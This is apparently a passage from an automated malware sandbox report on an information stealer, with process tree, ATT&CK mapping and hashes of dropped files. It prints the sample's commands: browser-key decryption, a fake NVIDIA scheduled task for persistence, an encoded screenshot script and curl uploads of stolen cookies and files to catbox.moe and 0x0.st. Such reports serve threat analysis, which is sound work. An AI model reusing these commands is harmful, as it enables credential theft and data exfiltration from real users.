  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,131,113,2,174,50,110,153,66,188,109,142,213,58,152,213,241,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,141,142,14,247,47,116,155,184,69,119,90,19,50,53,14,152,1,167,53,78,196,154,237,210,73,42,158,249,189,10,7,86,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,97,179,153,127,98,206,101,97,253,168,48,141,238,13,111,202,150,65,24,229,136,32,30,10,148,144,167,205,210,243,163,48,0,0,0,2,54,27,207,78,119,43,215,189,18,47,93,255,32,2,63,95,148,120,124,154,239,146,212,178,205,236,71,46,16,210,53,27,8,195,42,168,52,78,238,249,194,233,63,202,128,146,86,64,0,0,0,190,210,101,53,239,77,215,147,157,44,190,163,93,130,90,40,165,231,221,167,89,89,164,118,167,217,128,97,255,94,198,148,115,77,188,201,167,148,187,74,253,226,148,41,206,38,35,29,169,69,57,55,217,82,236,68,39,15,182,130,179,55,62,80), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,131,113,2,174,50,110,153,66,188,109,142,213,58,152,213,241,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,141,142,14,247,47,116,155,184,69,119,90,19,50,53,14,152,1,167,53,78,196,154,237,210,73,42,158,249,189,10,7,86,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,97,179,153,127,98,206,101,97,253,168,48,141,238,13,111,202,150,65,24,229,136,32,30,10,148,144,167,205,210,243,163,48,0,0,0,2,54,27,207,78,119,43,215,189,18,47,93,255,32,2,63,95,148,120,124,154,239,146,212,178,205,236,71,46,16,210,53,27,8,195,42,168,52,78,238,249,194,233,63,202,128,146,86,64,0,0,0,190,210,101,53,239,77,215,147,157,44,190,163,93,130,90,40,165,231,221,167,89,89,164,118,167,217,128,97,255,94,198,148,115,77,188,201,167,148,187,74,253,226,148,41,206,38,35,29,169,69,57,55,217,82,236,68,39,15,182,130,179,55,62,80), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_TGn8DtZB.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_TGn8DtZB.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5960
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_TGn8DtZB.vbs
      4⤵
      Views/modifies file attributes
      PID:2908
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn NVIDIA_SelfUpdate_{95447951} /xml C:\Users\Admin\AppData\Local\Temp\tmpE1F.tmp.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXAB6AHgAaQB5AGkANQA1AFUAUABpAFwARQBOAC0AVAB1AHkAdAB0AHIAeABsAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXAB6AHgAaQB5AGkANQA1AFUAUABpAFwARQBOAC0AVAB1AHkAdAB0AHIAeABsAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl.zip"" "https://catbox.moe/user/api.php""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl.zip"" "https://catbox.moe/user/api.php"
    3⤵
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl.zip"" "https://0x0.st""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl.zip"" "https://0x0.st"
    3⤵
    PID:3524

C:\Windows\System32\wscript.exe
wscript.exe
1⤵
PID:5864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Tuyttrxl.zip

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl.zip
Size 532KB
SHA256 750897d83d02a413c1e8292c1ee69f5e4f0106062cf0094f7c9bfb7b23649e67
MD5 f68850778c30067f246c0fe663fe059e
SHA1 a5747ce7933b1dba832712cdac3b5e938cf4952a
SHA512 73519deabb322995837a11ccc175a692c71f97a32ab4dc1f8312287aa0f97607f084d523cf526a6e5a1d23d97381816b2efc403a3f14e2cdcdbc3db3742268fc
SSDEEP 12288:ZYBlsmqR1SH8EsC25KCFt6tf6Ql7zAVqS0DqvAZRcdT4UZcb:IsmqRo3sC24Kt6tP3yqS0Dq2cdT7Kb
TLSH
T10EC4234EE942B773CB1CAD7F94838D0EB748F896E24E821F401A77BD6959CC764405E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Cookies_[Google Default].txt

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl\Cookies\Cookies_[Google Default].txt
Size 245B
SHA256 3efcc445167ea6c93d46e0068c2c43730bbba67beb76816ca16a1bd916b003c1
MD5 f8616132cd9ffc7545e8c688c9a4fe41
SHA1 4d1ff3c3ab99b8e44eb525446dd13ec05c810eb5
SHA512 546d7ba48820447a7a76565595796d498492bfeb1ce5ae5e8d0879b89f3ef76b49dc64b453e1e94db7dd8ccbc9f74489c3ecbb7940928e908733cee226afbc79
TLSH
T170D022C3F4F43AB98C5AA0B34040FDAC1A302A1DCAD790606508C4D60551B59EF8A4B1
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.png

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl\Screenshot\screenshot.png
Size 536KB
SHA256 0b30ec5e4956fcb14b6355b7871153925c6d259f4f6963912738cf4c0e12f771
MD5 cf3ac2ce424260d83c67f35429d8f2ee
SHA1 dc0faf77c727bd79f6202941599ee36ed3016eaa
SHA512 2ab911116a4278e3c2b2a82817819d67529e66b17c9d4873dcf10f5d185d8d72ffef82231664a8d2594afdb871d52804957cabbbeaa6735caaaa585681435cbc
SSDEEP 12288:dUtarsUuxJ3+qr6BVWUbBHhizNcikCwgZ17dZ6pr:ZrsLxJuyBgHanwgZQpr
TLSH
T1DDC4221C26B0018E8CCF48FCFEC60DDE1A251993DA3E11B5CEA6195A1242F2DB9C5F5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl\log.txt
Size 210B
SHA256 a38f12b5f78c0ed2ec4333351e3fc2a3a5728cf2df487247dda6d3841ae2288c
MD5 dcba6cf07e7589bf942540d2430e31d9
SHA1 cafcb345f0eef79a8d6dd9c69cec75796f7f16a0
SHA512 fd160dd879d56444474d288c0562a388ea215a28c569a4381acde6d98914af567db08712bac325a66f1286746e8cbd0b24e199b3deb39f45c151a359fc20c810
TLSH
T138D0127422CC60E92754D6C855E9C6CB880918AE0C2F6CF978C3548C75CA4CB6197F23
MD5 SHA1 SHA512 TLSH

Submit Download

stolen_files.zip

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl\stolen_files.zip
Size 11KB
SHA256 a8ba89a737360337489ef65955610f8bbc6d69f5e0ca3e5b72ba9a3be7189b0c
MD5 88862b9402ab557ced9b1297a3f1c4a0
SHA1 f21a2570da1fe6a6d810c061510ec9b2dc8fabc5
SHA512 2ea755ee261bd4201fbaf5b29cc32e896d1500dafe9d63229769c6f795bf4e1b75c2bd350ed8ab220a2083f5c7e630f0838060dacc8185c8e8806970c3420931
SSDEEP 192:wfRGjZ4sgDg5l4ofJO60BEvhOWBImnByIkXiNVFLGi4mX91LkVOA6VVdDJHFIRsw:wpGtomlbJZ06cWBImnBG2N1LkJ6VJKsw
TLSH
T15232C10D98E69D85EBCA817CB8F360CD8D12754FC4B834D50954265C5DC40DB6764C77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EN-Tuyttrxl_fallback.zip

Path C:\ProgramData\Microsoft\UserSettings\zxiyi55UPi\EN-Tuyttrxl_fallback.zip
Size 532KB
SHA256 14457727a2c96d5752dd635d69d40f753f4056c02400f0fd2ac2c4266fb9ef0c
MD5 597dcf2fd650ad749e16bd908743fb06
SHA1 d956c67d1d1c7016107797dc4ab66dac51c43a15
SHA512 c7f42a2c93716a7bc1b4a8680076d294c959d11f38e5ac02e2dbbcd4474caa6fa823d63ae4e4035c89293c03879b8de9753e2137cdf7717e5a53e7197d4b1d73
SSDEEP 12288:9YBlsmqR1SH8EsC25KCFt6tf6Ql7zAVqS0DqvAZRcdT4UZcg:EsmqRo3sC24Kt6tP3yqS0Dq2cdT7Kg
TLSH
T152C4234EA982BB33CB1CAD7F5483CD4EB748F896E24EC21E401A77BD6969CC364445E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 7bd6827017e58306b2c11189848d943ccce76f480ab786ffab0974cd9fea934b
MD5 cf2ff807746c2908bc29658ca1dd4c52
SHA1 6b70fc9a109dbe4b847ba8d703e47c6f49521ad8
SHA512 9dd2e6f76f1a79d10a059ce57c2213c5f8a869c48d1ed071a1645cad9515e347e2894dd1ed5192d843d9e51340a7e0f061cde4f1119233edff8c97d8a62a2804
TLSH
T183318833B3DC8BE0C88A417E10DA9C5135B787C7809ECEDB6B9CD125A42F697CE61060
MD5 SHA1 SHA512 TLSH

Submit Download